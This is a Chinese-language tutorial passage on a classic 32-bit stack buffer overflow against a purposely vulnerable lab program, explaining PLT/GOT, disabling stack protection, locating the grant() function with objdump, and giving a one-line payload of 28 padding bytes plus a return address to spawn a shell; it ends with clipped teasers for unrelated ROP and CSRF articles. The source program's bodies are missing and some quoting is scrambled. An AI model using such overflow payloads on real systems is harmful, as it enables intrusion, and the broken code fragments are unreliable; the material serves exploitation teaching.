補充:有點迷,感覺像是return2libc,通篇攻擊貌似沒有涉及到ptl
具體內容在這裡摘取操作步驟,原理有待以後補充
關於plt的介紹來自
最後解釋了一下為什麼寫入資料位元組數是28個a
procedural linkage table,也就是plt是過程鏈結表,為每個全域性變數儲存了一段**,第一次呼叫乙個函式會呼叫形如function@plt的函式,這就是跳到了函式對應的plt表開頭執行,會解析出函式真正的位址填入got表中,以後呼叫時會從got表中取出函式真正的起始位址執行。
global offset table,也就是got表為每個全域性變數儲存了入口位址,在呼叫全域性變數時,會直接呼叫對應got表條目中儲存的位址,而不呼叫絕對位址。
1、待攻擊**:
#include
#include
#include
#include
void grant()
void exploitable()
int main()
2、關閉堆疊保護程式
$ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m323、分析
在exploitable()函式中,設定了16位元組的緩衝區,但是值得我們注意的是scanf函式沒有安全的使用,這導致我們可以寫入超過16位元組,這就導致了緩衝區溢位的可能。我們用注意到,有個函式呼叫了sytem(「/bin/sh」),這裡我們就可以假設,如果我們可以操作函式調轉,去呼叫grant()函式,我們就可以拿到shell了。
4、嘗試控制eip
由於scanf不執行繫結的check,因此我們可以通過覆蓋函式的返回位址來指向某個已知位置來控制eip,指向grant()達到getshell的目的。我們可以通過objdum工具,來獲取grant()的位址。
$ objdump -d ./hack_me_2 | grep grant結果看起來是這樣的:
080484cb :接下來寫exp,達到目的8048516:e8 b0 ff ff ff call 80484cb
$(python -c』print「a」* 28 +「\ xcb \ x84 \ x04 \ x08」』 ; cat - )| ./hack_me_2至於為什麼是28個位元組?原文沒給出結論,我嘗試用objdump檢視exploitable()函式的棧幀結構
$ objdump -d hack_me_2
080484e4
: 80484e4: 55 push %ebp
80484e5: 89 e5 mov %esp,%ebp
80484e7: 83 ec 18 sub $0x18,%esp
80484ea: 83 ec 08 sub $0x8,%esp
80484ed: 8d 45 e8 lea -0x18(%ebp),%eax
80484f0: 50 push %eax
發現exploitable在棧上分配了24個位元組的空間,要覆蓋到返回位址還需要4個位元組去覆蓋儲存的舊的%ebp,所以總共需要28個位元組的』a』寫入,然後再把返回位址修改為函式grant的位址0x080484cb,採用小端法儲存 ROP攻擊技術
前面介紹了ret2libc和ret2plt,這兩個攻擊技術的相通點是函式引數是通過壓棧來傳遞,這也是i386架構的呼叫約定。然而隨著64位伺服器的普及,以及後來越來越廣泛,以致幾乎所有伺服器都公升級到64位的硬體上。根據x86 64 abi的呼叫約定,函式間傳遞引數不再以壓棧的方式,而是以暫存器方式...
使用ROP攻擊繞過Windows的DEP
各函式在windows各個系統的存在情況如下,其中 1 代表不存在,2 代表將由於預設dep策略設定而失敗 繞過dep需要構造rop鏈,rop鏈的作用就是用一連串的gadgets來實現這些函式的呼叫關閉dep保護,然後轉到shellcode上執行。0x?pop ebp retn 0x?ptr set...
初談CSRF攻擊
我和大家分享一下我在開發時候遇到的一些問題,以及我的解決方案。跨站請求偽造 cross siterequest forger 簡稱csrf,有時候縮寫xsrf表示,攻擊要比簡單的跨站指令碼 xss 攻擊更危險。我主要講解它的危害以及如何防禦,並不會說明如何去實現。1.威脅概述 假設乙個 允許使用者登...